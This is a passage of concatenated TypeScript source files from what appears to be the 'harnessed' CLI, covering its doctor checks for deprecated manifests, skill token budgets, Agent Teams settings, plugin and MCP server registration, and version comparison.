cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n *  Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n  if (_cached) return _cached\n  if (!existsSync(ALIASES_PATH)) return null\n  const raw = readFileSync(ALIASES_PATH, 'utf8')\n  const parsed = parse(raw) as unknown\n  if (!Value.Check(AliasesV1, parsed)) {\n    const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n    throw new Error(\n      `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n    )\n  }\n  _cached = parsed\n  return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n  // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n  checkPathSafe(name)\n  return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n  old: string\n  entry: AliasesV1Type['aliases'][string]\n}> {\n  const a = loadAliases()\n  return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n *  ONLY-WARN: status='warn' when deprecations exist (install path silently\n *  redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n  try {\n    const deprecations = listDeprecations()\n    if (deprecations.length === 0) {\n      return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n    }\n    const lines = deprecations.map(({ old, entry }) => {\n      const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n      return `  '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n    })\n    return {\n      name: 'deprecated manifests',\n      status: 'warn',\n      message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n      fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n    }\n  } catch (e) {\n    return {\n      name: 'deprecated manifests',\n      status: 'fail',\n      message: `aliases.yaml load error: ${(e as Error).message}`,\n      fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n    }\n  }\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport { getSkillsDir } from '../../installers/lib/platform.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n  if (!existsSync(root)) return []\n  return readdirSync(root).flatMap((name) => {\n    const md = join(root, name, 'SKILL.md')\n    if (!existsSync(md)) return []\n    const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n    const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n    return [{ name, tokens: estimateTokens(desc) }]\n  })\n}\n\nexport function checkTokenBudget(): CheckResult {\n  // v4.14.0 — user-skills root via descriptor (claude byte-identical path).\n  const roots = [getSkillsDir(), join(process.cwd(), 'skills')]\n  const items = roots.flatMap(scanSkillsDir)\n  const total = items.reduce((s, i) => s + i.tokens, 0)\n  const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n  if (total <= TOTAL_THRESHOLD && over === 0) {\n    const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n    return { name: 'token budget', status: 'pass', message: msg }\n  }\n  const top = [...items]\n    .sort((a, b) => b.tokens - a.tokens)\n    .slice(0, 3)\n    .map((t) => `${t.name}:${t.tokens}`)\n    .join(', ')\n  const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n  const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n  return {\n    name: 'token budget',\n    status: 'warn',\n    message,\n    fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n  }\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.5 — Agent Teams capability probe (Q-AUDIT-5b\n// MANDATORY: schema is root-level `env.*` NOT nested `experimental.*`).\n// Sister RESEARCH § 4.3 verbatim implementation; wired by setup.ts / doctor.ts.\n\nimport { readFile } from 'node:fs/promises'\nimport { getSettingsPath } from '../../installers/lib/platform.js'\n\nexport interface AgentTeamsCheckResult {\n  status: 'pass' | 'warn' | 'missing'\n  detected: { env: boolean; settingsJson: boolean }\n  envValue?: string\n  settingsValue?: string\n  remediation?: string\n}\n\nexport async function checkAgentTeams(): Promise<AgentTeamsCheckResult> {\n  const envValue = process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n  const envOn = envValue === '1'\n\n  let settingsValue: string | undefined\n  let settingsOn = false\n  try {\n    // v4.14.0 — settings path via descriptor (claude byte-identical resolve).\n    const path = getSettingsPath()\n    const raw = await readFile(path, 'utf8')\n    const data = JSON.parse(raw) as { env?: Record<string, string> }\n    // Q-AUDIT-5b LOCKED: root-level env.* NOT nested experimental.*\n    settingsValue = data.env?.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n    settingsOn = settingsValue === '1'\n  } catch {\n    // settings.json missing / unparseable / invalid JSON — non-fatal, fall through to env probe\n  }\n\n  const detected = { env: envOn, settingsJson: settingsOn }\n  if (envOn || settingsOn) {\n    return { status: 'pass', detected, envValue, settingsValue }\n  }\n\n  return {\n    status: 'missing',\n    detected,\n    envValue,\n    settingsValue,\n    remediation:\n      'Agent Teams not enabled. Add to ~/.claude/settings.json:\\n  \"env\": { \"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\": \"1\" }\\nOR run: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1\\nOR export env var:\\n  export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1\\nThen restart Claude Code (CC >= 2.1.133 required).',\n  }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th doctor check delegate (Agent Teams env).\n// Wraps src/cli/lib/checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED) into the\n// CheckResult shape consumed by src/cli/doctor.ts (sister probe-gstack.ts\n// delegate pattern for Karpathy ≤200L doctor.ts hard limit守门).\n//\n// Status map: checkAgentTeams 'pass' → 'pass'; 'missing' → 'warn' (non-blocking\n// per CLAUDE.md L21 \"warn ≠ fail / exit 0\" R2.4.1 + R20.11 acceptance c).\n\nimport { detectPlatform } from '../../installers/lib/platform.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\n\ninterface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n}\n\nexport async function checkAgentTeamsDoctor(): Promise<CheckResult> {\n  // v4.14.0 — Agent Teams is a Claude Code concept; on other platforms the\n  // warn + CC remediation are meaningless → pass-skip (sister\n  // warnIfAgentTeamsMissing gate in setup-helpers.ts).\n  if (detectPlatform().id !== 'claude') {\n    return {\n      name: 'Agent Teams env',\n      status: 'pass',\n      message: 'skipped (claude-only check)',\n    }\n  }\n  const r = await checkAgentTeams()\n  if (r.status === 'pass') {\n    const source = r.detected.env ? 'env var' : 'settings.json'\n    return {\n      name: 'Agent Teams env',\n      status: 'pass',\n      message: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 (${source})`,\n    }\n  }\n  return {\n    name: 'Agent Teams env',\n    status: 'warn',\n    message: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS not set (Agent Teams disabled)',\n    fix: r.remediation,\n  }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 10th doctor check (planning-with-files plugin\n// presence per R20.15 acceptance d + D-15). File-based probe NOT shell CLI call\n// (sister checkAgentTeams.ts pattern; avoids dependency on `claude plugin list`).\n//\n// Probe path: ~/.claude/plugins/cache/planning-with-files/planning-with-files/<version>/\n// per capabilities.yaml planning-with-files.plugin_path field. Real install path\n// verified 2026-05-20: `~/.claude/plugins/cache/planning-with-files/planning-with-files/2.34.0/`.\n// Missing → warn (non-blocking per warn ≠ fail R2.4.1) with `claude plugin install` remediation.\n\nimport { readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { getPluginsRegistry } from '../../installers/lib/platform.js'\n\ninterface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n  install_commands?: readonly string[]\n}\n\n// v3.9.1 — planning-with-files lives in OthmanAdi/planning-with-files\n// marketplace (NOT default claude marketplace). Two-step install:\n//   1. claude plugin marketplace add OthmanAdi/planning-with-files\n//   2. claude plugin install planning-with-files\nconst REMEDIATION =\n  'install via `claude plugin marketplace add OthmanAdi/planning-with-files && ' +\n  'claude plugin install planning-with-files` (requires >=2.2.0 per R20.15 + D-15)'\n\nconst INSTALL_COMMANDS = [\n  'claude plugin marketplace add OthmanAdi/planning-with-files',\n  'claude plugin install planning-with-files',\n] as const\n\nexport async function checkPlanningWithFiles(): Promise<CheckResult> {\n  // v4.14.0 — plugin-cache probe is a claude-only concept. On a platform with\n  // no plugin registry (codex) the warn + `claude plugin install` remediation\n  // would be misleading → pass-skip (setup's codex install path is the\n  // harness_overrides npx-skill route, verified by its own manifest verify).\n  if (getPluginsRegistry() === null) {\n    return {\n      name: 'planning-with-files plugin',\n      status: 'pass',\n      message: 'skipped (claude-only plugin-cache probe; no plugin registry on this platform)',\n    }\n  }\n  const root = join(\n    homedir(),\n    '.claude',\n    'plugins',\n    'cache',\n    'planning-with-files',\n    'planning-with-files',\n  )\n  try {\n    const entries = await readdir(root)\n    // entries are version subdirs (e.g., '2.34.0'); at least one = installed.\n    const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n    if (versions.length > 0) {\n      return {\n        name: 'planning-with-files plugin',\n        status: 'pass',\n        message: `installed (version ${versions.join(', ')})`,\n      }\n    }\n    return {\n      name: 'planning-with-files plugin',\n      status: 'warn',\n      message: 'plugin directory exists but no version subdir found',\n      fix: REMEDIATION,\n      install_commands: INSTALL_COMMANDS,\n    }\n  } catch {\n    return {\n      name: 'planning-with-files plugin',\n      status: 'warn',\n      message: 'not installed (plugin cache path missing)',\n      fix: REMEDIATION,\n      install_commands: INSTALL_COMMANDS,\n    }\n  }\n}\n","// v3.6.0 Phase 2 Wave 1 — 11th doctor check (mattpocock-skills install probe per\n// user reframe \"setup 时检测 mattpocock-skills 并安装\"). File-based probe NOT\n// shell CLI (sister check-planning-with-files.ts pattern; avoids dependency on\n// `claude plugin list`).\n//\n// Probe locations (try both per mattpocock dual support):\n//   1. ~/.claude/plugins/cache/mattpocock-skills/mattpocock-skills/<version>/  (plugin form)\n//   2. <harness skills dirs>/mattpocock-skills/                                 (user-skill form)\n// Either present → pass. Both missing → warn (non-blocking per warn ≠ fail R2.4.1)\n// — methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1,\n// so install is optional; remediation enables /grill-with-docs /zoom-out etc.\n// SlashCommand acceleration.\n//\n// v4.14.0 — cross-harness: plugin-cache probe gated on getPluginsRegistry()\n// (claude-only concept), skill probes span harnessSkillsDirs(), and the\n// install_commands --agent is computed from the ACTIVE platform at check time.\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport {\n  detectPlatform,\n  getPluginsRegistry,\n  harnessSkillsDirs,\n} from '../../installers/lib/platform.js'\n\ninterface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n  install_commands?: readonly string[]\n}\n\n// v3.9.1 — mattpocock-skills is NOT in any default Claude Code plugin marketplace\n// (v3.9.0 P4 dogfood discovery: `claude plugin install mattpocock-skills` fails\n// with \"Plugin not found in any configured marketplace\"). Correct install path\n// is the upstream `skills` CLI:\n//   npx skills@latest add mattpocock/skills\n// which clones into ~/.claude/skills/mattpocock-skills (user-skill form).\nconst REMEDIATION =\n  'install via `npx skills@latest add mattpocock/skills` ' +\n  '(or git clone https://github.com/mattpocock/skills ~/.claude/skills/mattpocock-skills); ' +\n  'methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1 — install ' +\n  'is optional but enables /grill-with-docs /zoom-out etc. SlashCommand acceleration'\n\n// v4.13.0 — --copy (Windows symlink-safe) + -y (skills CLI prompts hang\n// non-interactive spawns; sister manifests/skill-packs yaml).\n// v4.14.0 — --agent computed per platform (was hardcoded claude-code — wrong\n// install target on codex). Function, not module const: detectPlatform must\n// resolve at CHECK time, not import time.\nfunction installCommands(): readonly string[] {\n  const agent = detectPlatform().id === 'codex' ? 'codex' : 'claude-code'\n  return [`npx skills@latest add mattpocock/skills --copy -y --agent ${agent}`] as const\n}\n\nexport async function checkMattpocockSkills(): Promise<CheckResult> {\n  const pluginRoot = join(\n    homedir(),\n    '.claude',\n    'plugins',\n    'cache',\n    'mattpocock-skills',\n    'mattpocock-skills',\n  )\n\n  // Try plugin form first (sister check-planning-with-files.ts L24-43).\n  // v4.14.0 — claude-only concept; skipped where no plugin registry exists.\n  if (getPluginsRegistry() !== null) {\n    try {\n      const entries = await readdir(pluginRoot)\n      const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n      if (versions.length > 0) {\n        return {\n          name: 'mattpocock-skills',\n          status: 'pass',\n          message: `installed as plugin (version ${versions.join(', ')})`,\n        }\n      }\n    } catch {\n      // fall through to user-skill check\n    }\n  }\n\n  // Try user-skill form across ALL harness skills dirs (v4.14.0 — was\n  // hardcoded ~/.claude/skills; codex installs land in ~/.agents/skills).\n  for (const skillsDir of harnessSkillsDirs()) {\n    try {\n      const skillRoot = join(skillsDir, 'mattpocock-skills')\n      await stat(skillRoot)\n      return {\n        name: 'mattpocock-skills',\n        status: 'pass',\n        message: `installed as user-skill (${skillRoot})`,\n      }\n    } catch {\n      // fall through to indicator-skill check\n    }\n  }\n\n  // v3.9.20 — npx skills CLI installs individual skill dirs (diagnose / tdd /\n  // zoom-out / etc.) without a parent `mattpocock-skills/` folder. Sister\n  // INSTALLED_INDICATORS pattern in src/installers/lib/idempotent.ts v3.9.19.\n  const indicators = ['diagnose', 'tdd', 'zoom-out']\n  for (const skillsDir of harnessSkillsDirs()) {\n    for (const ind of indicators) {\n      try {\n        await stat(join(skillsDir, ind))\n        return {\n          name: 'mattpocock-skills',\n          status: 'pass',\n          message: `installed as individual skills (found ${ind}/)`,\n        }\n      } catch {\n        // try next indicator\n      }\n    }\n  }\n\n  return {\n    name: 'mattpocock-skills',\n    status: 'warn',\n    message: 'not installed (plugin cache + user-skill paths both missing)',\n    fix: REMEDIATION,\n    install_commands: installCommands(),\n  }\n}\n","// v3.0.3 hotfix — fs-based MCP verify (replaces v3.0.2 spawn `claude mcp list`).\n//\n// Problem: v3.0.2 changed `mcpStdioAdd.ts` / `mcpHttpAdd.ts` / `ccPluginMarketplace.ts`\n// verify step from a `claude mcp list | grep -q <name>` shell pipe to a native\n// `spawn('claude', ['mcp', 'list'])` + `stdout.includes(name)` match (sister\n// CHANGELOG v3.0.2 entry). User reports the spawn-based path still fails 3-way\n// on Windows because `claude mcp list` cold-start exceeds the 15s timeout when\n// invoked sequentially after 3 `claude mcp add` calls (warm process pool\n// nearly exhausted; sister Bug 3 v3.0.2 timeout-budgeting issue, but for the\n// VERIFY surface).\n//\n// Crucially: the underlying `claude mcp add --scope user` invocation likely\n// SUCCEEDED — `~/.claude.json` is written before the verify spawn — but the\n// verify spawn timed out and reported `exit -1 or '<name>' not in mcp list\n// stdout: [timeout]` (literal user message). All 3 MCP installers fall in.\n//\n// Solution: skip the spawn entirely. Read `~/.claude.json` directly with\n// `fs.readFile` + `JSON.parse` + check `mcpServers[name]`. The file is the\n// authoritative source of truth (Claude Code reads it on startup); CC's\n// `mcp list` is just a JSON pretty-printer over the same file.\n//\n// Cross-platform: pure Node fs, no shell, no spawn, no timeout risk.\n// Idempotent: file-not-exists → no servers registered → return false (no throw).\n// Robust: malformed JSON → return false (graceful), don't crash the installer.\n\nimport { readFile } from 'node:fs/promises'\nimport {\n  detectPlatform,\n  getMcpConfigPath,\n  getPluginsRegistry,\n  getSettingsPath,\n} from './platform.js'\n\n/**\n * Path to the user-global Claude Code config file written by `claude mcp add\n * --scope user` and `claude plugin install --scope user`. CC reads this on\n * startup to load the `mcpServers` map + `enabledPlugins` map.\n *\n * Delegates to the `mcpConfigPath` descriptor resolver (Phase B / D1) — `~/.claude.json`\n * IS the MCP config file. Export name preserved for existing callers/tests.\n */\nexport function getUserClaudeJsonPath(): string {\n  return getMcpConfigPath()\n}\n\ninterface UserClaudeJsonShape {\n  mcpServers?: Record<string, unknown>\n  enabledPlugins?: Record<string, unknown>\n  [k: string]: unknown\n}\n\n/**\n * Read `~/.claude.json` and return the parsed object.\n *\n * Returns `{}` only for the two graceful conditions specified in the v3.0.3\n * verify contract:\n *   1. ENOENT — file does not exist yet (first install). Verify should report\n *      \"server not registered\" cleanly, not throw.\n *   2. Malformed JSON — the file exists but is corrupt. Verify should report\n *      false rather than crash; the caller's error path produces a clearer\n *      \"server missing\" message than a bare SyntaxError stack would.\n *\n * Any other read error (EACCES, EISDIR, etc.) is unexpected and re-thrown\n * so the installer surface them as verify-failed with the original cause\n * (no silent swallowing — anti-slop posture per CLAUDE.md karpathy heuristic).\n */\nexport async function readUserClaudeJson(): Promise<UserClaudeJsonShape> {\n  const path = getUserClaudeJsonPath()\n  let raw: string\n  try {\n    raw = await readFile(path, 'utf8')\n  } catch (err) {\n    if ((err as NodeJS.ErrnoException).code === 'ENOENT') return {}\n    throw err\n  }\n  try {\n    const parsed = JSON.parse(raw) as UserClaudeJsonShape\n    if (parsed === null || typeof parsed !== 'object') return {}\n    return parsed\n  } catch {\n    // Malformed JSON — explicit graceful return per verify contract.\n    return {}\n  }\n}\n\n/**\n * v4.14.0 — codex MCP registration probe: `~/.codex/config.toml` table-header\n * existence check. A registered server appears as `[mcp_servers.<name>]` (bare)\n * or `[mcp_servers.\"<name>\"]` (quoted — TOML quotes keys containing dots), and\n * may ALSO surface only via a sub-table (`[mcp_servers.<name>.env]`). Line-start\n * regex on the raw file — deliberately NOT a full TOML parse (findings.md 锁定\n * 决策: header 正则,零新依赖; the header line IS the registration contract).\n */\nexport function isMcpServerInToml(raw: string, name: string): boolean {\n  const esc = name.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&')\n  const re = new RegExp(`^\\\\s*\\\\[mcp_servers\\\\.(?:${esc}|\"${esc}\"|'${esc}')(?:\\\\]|\\\\.)`, 'm')\n  return re.test(raw)\n}\n\n/**\n * Check whether an MCP server is registered with the ACTIVE harness.\n *\n * Used by `mcpStdioAdd.ts` + `mcpHttpAdd.ts` v3.0.3 verify step in place of\n * `spawn('claude', ['mcp', 'list'])` + stdout match.\n *\n * claude → `~/.claude.json` `mcpServers[name]` exists (any truthy value).\n * codex (v4.14.0) → `~/.codex/config.toml` `[mcp_servers.<name>]` header probe.\n * Both: `false` if the file is missing, malformed, or the server is not present.\n */\nexport async function isMcpServerRegistered(name: string): Promise<boolean> {\n  const platform = detectPlatform()\n  if (platform.id === 'codex') {\n    let raw: string\n    try {\n      raw = await readFile(platform.mcpConfigPath, 'utf8')\n    } catch (err) {\n      // ENOENT (first install) → not registered; other errors re-throw (sister\n      // readUserClaudeJson contract — no silent swallowing of EACCES/EISDIR).\n      if ((err as NodeJS.ErrnoException).code === 'ENOENT') return false\n      throw err\n    }\n    return isMcpServerInToml(raw, name)\n  }\n  const config = await readUserClaudeJson()\n  const servers = config.mcpServers\n  if (!servers || typeof servers !== 'object') return false\n  return Object.hasOwn(servers, name)\n}\n\n/**\n * Check whether a Claude Code plugin is registered.\n *\n * v3.9.8 — primary source is `~/.claude/plugins/installed_plugins.json`\n * (Claude Code v2.1.133+ authoritative plugin registry). Schema:\n *   { version: 2, plugins: { \"<plugin>@<marketplace>\": [ { scope, installPath, version, ... } ] } }\n *\n * Fallback to `~/.claude/settings.json.enabledPlugins` (legacy) for older\n * installs / cross-version compat. Pre-v3.9.8 code read\n * `~/.claude.json.enabledPlugins` — but that field does NOT exist there\n * (verified empirically; the field is in settings.json, not claude.json).\n *\n * Returns `true` if any registry key's left-of-`@` prefix matches `pluginName`.\n */\nexport async function isPluginRegistered(pluginName: string): Promise<boolean> {\n  // Primary: ~/.claude/plugins/installed_plugins.json (v2 schema, Claude Code 2.1.133+).\n  // Phase C / D4: codex has no plugin registry (getPluginsRegistry → null) — skip\n  // this probe; the legacy settings/mcp sources below are still consulted.\n  const registryPath = getPluginsRegistry()\n  if (registryPath !== null) {\n    try {\n      const raw = await readFile(registryPath, 'utf8')\n      const parsed = JSON.parse(raw) as { version?: number; plugins?: Record<string, unknown> }\n      const plugins = parsed.plugins\n      if (plugins && typeof plugins === 'object') {\n        if (Object.hasOwn(plugins, pluginName)) return true\n        if (Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)) return true\n      }\n    } catch {\n      // ENOENT / malformed → fall through to legacy probe\n    }\n  }\n\n  // Legacy fallback 1: ~/.claude/settings.json.enabledPlugins\n  // Legacy fallback 2: ~/.claude.json.enabledPlugins (pre-v3.9.8 read path;\n  //                    kept for test mock compatibility — production v2.1.133+\n  //                    doesn't actually write here, verified empirically)\n  for (const path of [getSettingsPath(), getMcpConfigPath()]) {\n    try {\n      const raw = await readFile(path, 'utf8')\n      const parsed = JSON.parse(raw) as { enabledPlugins?: Record<string, unknown> }\n      const plugins = parsed.enabledPlugins\n      if (plugins && typeof plugins === 'object') {\n        if (Object.hasOwn(plugins, pluginName)) return true\n        if (Object.keys(plugins).some((k) => k.split('@')[0] === pluginName)) return true\n      }\n    } catch {\n      // ENOENT / malformed → try next source\n    }\n  }\n\n  return false\n}\n","// v3.6.0 Phase 2 Wave 2 — 12th doctor check (3 MCP server availability per\n// audit P1a \"MCP 自动探测 + fallback hint\").\n//\n// v3.9.5 — Major correctness fix:\n//   1. Reads `~/.claude.json` user-scope mcpServers (via isMcpServerRegistered\n//      helper) — NOT `~/.claude/settings.json`. Step B `mcpStdioAdd` writes to\n//      `~/.claude.json` (v3.0.2 hotfix scope flip per src/installers/\n//      ccPluginMarketplace.ts L4-5 same scope). v3.6.0 SPEC assumed wrong file\n//      → false-missing reports even after install.\n//   2. TARGET_SERVERS aligned with manifest install cmd register names\n//      (tavily-mcp / exa-mcp / chrome-devtools-mcp — see manifests/tools/*.yaml\n//      `install.cmd` second-to-last token). v3.9.1 / v3.9.3 SPEC versions\n//      (tavily-remote-mcp / exa / chrome-devtools) didn't match Step B's\n//      actual register names.\n//   3. install_commands removed — Step B now installs these (PHASE_21 set\n//      removed in v3.9.5). doctor reports detection only; auto-install no\n//      longer needs to re-prompt MCP since Step B owns the install.\n//\n// Distinct from existing `checkMcpScope` which checks scope hygiene (project\n// vs user — CC #54803 risk); this check is server-by-server availability.\n\nimport { isMcpServerRegistered } from '../../installers/lib/readClaudeConfig.js'\n\ninterface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n  install_commands?: readonly string[]\n}\n\n// v3.9.5 — TARGET_SERVERS match manifests/tools/{tavily,exa,chrome-devtools}-mcp.yaml\n// `install.cmd` register name verbatim (the token immediately after `mcp add ...\n// --transport stdio <name> --`).\nconst TARGET_SERVERS = ['tavily-mcp', 'exa-mcp', 'chrome-devtools-mcp'] as const\n\nexport async function checkMcpAvailability(): Promise<CheckResult> {\n  // v3.9.5 — read ~/.claude.json via shared helper (sister Step B writes\n  // there too via mcpStdioAdd --scope user, sister ccPluginMarketplace.ts).\n  const installed: string[] = []\n  const missing: string[] = []\n  for (const s of TARGET_SERVERS) {\n    const present = await isMcpServerRegistered(s)\n    if (present) {\n      installed.push(s)\n    } else {\n      missing.push(s)\n    }\n  }\n\n  if (missing.length === 0) {\n    return {\n      name: 'MCP servers (tavily/exa/chrome-devtools)',\n      status: 'pass',\n      message: `all 3 installed: ${installed.join(', ')}`,\n    }\n  }\n\n  // v3.9.5 — install_commands removed. Step B (`harnessed setup` install-base\n  // chain) now owns the install path for these manifests (PHASE_21 deferred\n  // skip removed); doctor reports detection only. If user wants to install\n  // missing MCPs, they re-run `harnessed setup` and Step B handles it.\n  if (installed.length === 0) {\n    return {\n      name: 'MCP servers (tavily/exa/chrome-devtools)',\n      status: 'warn',\n      message: 'none of 3 target MCP servers registered in ~/.claude.json',\n      fix: 'run `harnessed setup` to install via Step B (manifests/tools/{tavily,exa,chrome-devtools}-mcp.yaml)',\n    }\n  }\n\n  return {\n    name: 'MCP servers (tavily/exa/chrome-devtools)',\n    status: 'warn',\n    message: `${installed.length}/3 installed: ${installed.join(', ')}; missing: ${missing.join(', ')}`,\n    fix: 'run `harnessed setup` to install missing MCPs via Step B',\n  }\n}\n","// Phase 18 — CodeGraph opt-in doctor detect. CodeGraph (@colbymchenry/codegraph,\n// MIT, 100% local) is an optional semantic code index that self-installs via its\n// own CLI; harnessed only catalogs (manifests/optional/codegraph.yaml) + detects.\n// ALWAYS returns 'pass': the absence of an opt-in tool is not a health failure, so\n// it never flips the doctor summary. Presence is detected by the per-project\n// `.codegraph/` index directory (fs, deterministic, no subprocess).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport type { CheckResult } from './check-builtin.js'\n\nexport function checkCodeGraph(cwd: string = process.cwd()): CheckResult {\n  const present = existsSync(join(cwd, '.codegraph'))\n  if (present) {\n    return {\n      name: 'codegraph',\n      status: 'pass',\n      message: 'CodeGraph semantic index detected (.codegraph/)',\n    }\n  }\n  return {\n    name: 'codegraph',\n    status: 'pass',\n    message:\n      'CodeGraph not configured (optional semantic index — fewer tool-calls on code navigation)',\n    fix: 'npx @colbymchenry/codegraph to enable (MIT, 100% local, self-installs)',\n  }\n}\n","// Phase 20 — version comparison for `harnessed update` + the update doctor check.\n// No semver dependency: a minimal numeric-segment + prerelease compare. Network\n// access is isolated behind an injectable runner so callers/tests stay fail-soft.\n\nimport { execFile } from 'node:child_process'\nimport { promisify } from 'node:util'\n\nconst execFileAsync = promisify(execFile)\n\nexport type VersionComparison = 'current' | 'behind' | 'ahead' | 'unknown'\n\ninterface Parsed {\n  nums: [number, number, number]\n  pre: string | null\n}\n\nfunction parse(v: string): Parsed | null {\n  const m = /^(\\d+)\\.(\\d+)\\.(\\d+)(?:-([0-9A-Za-z.-]+))?$/.exec(v.trim())\n  if (!m) return null\n  return { nums: [Number(m[1]), Number(m[2]), Number(m[3])], pre: m[4] ?? null }\n}\n\n/** Pure — compare `installed` against `latest`. Malformed input → 'unknown'.\n *  A prerelease sorts BELOW its released version (4.5.0-rc.1 < 4.5.0). */\nexport function compareVersions(installed: string, latest: string): VersionComparison {\n  const a = parse(installed)\n  const b = parse(latest)\n  if (!a || !b) return 'unknown'\n  for (let i = 0; i < 3; i++) {\n    const ai = a.nums[i] ?? 0\n    const bi = b.nums[i] ?? 0\n    if (ai < bi) return 'behind'\n    if (ai > bi) return 'ahead'\n  }\n  // equal core: release > prerelease\n  if (a.pre && !b.pre) return 'behind'\n  if (!a.pre && b.pre) return 'ahead'\n  if (a.pre && b.pre && a.pre !== b.pre) return a.pre < b.pre ? 'behind' : 'ahead'\n  return 'current'\n}\n\nfunction npmExecutable(): string {\n  return process.platform === 'win32' ? 'npm.cmd' : 'npm'\n}\n\nasync function defaultRunner(): Promise<string> {\n  const { stdout } = await execFileAsync(npmExecutable(), ['view', 'harnessed', 'version'], {\n    timeout: 8000,\n    windowsHide: true,\n  })\n  return stdout\n}\n\n/** Fail-soft — resolve the latest published harnessed version, or null on any\n *  failure (network, timeout, non-semver output). NEVER throws. The runner is\n *  injectable so unit tests do not spawn npm. */\nexport async function fetchLatestVersion(\n  runner: () => Promise<string> = defaultRunner,\n): Promise<string | null> {\n  try {\n    const out = (await runner()).trim()\n    return /^\\d+\\.\\d+\\.\\d+(?:-[0-9A-Za-z.-]+)?$/.test(out) ? out : null\n  } catch {\n    return null\n  }\n}\n","// Phase 20 — opt-in \"update available\" doctor check (GSD `/gsd-update`-style\n// surface). 'warn' 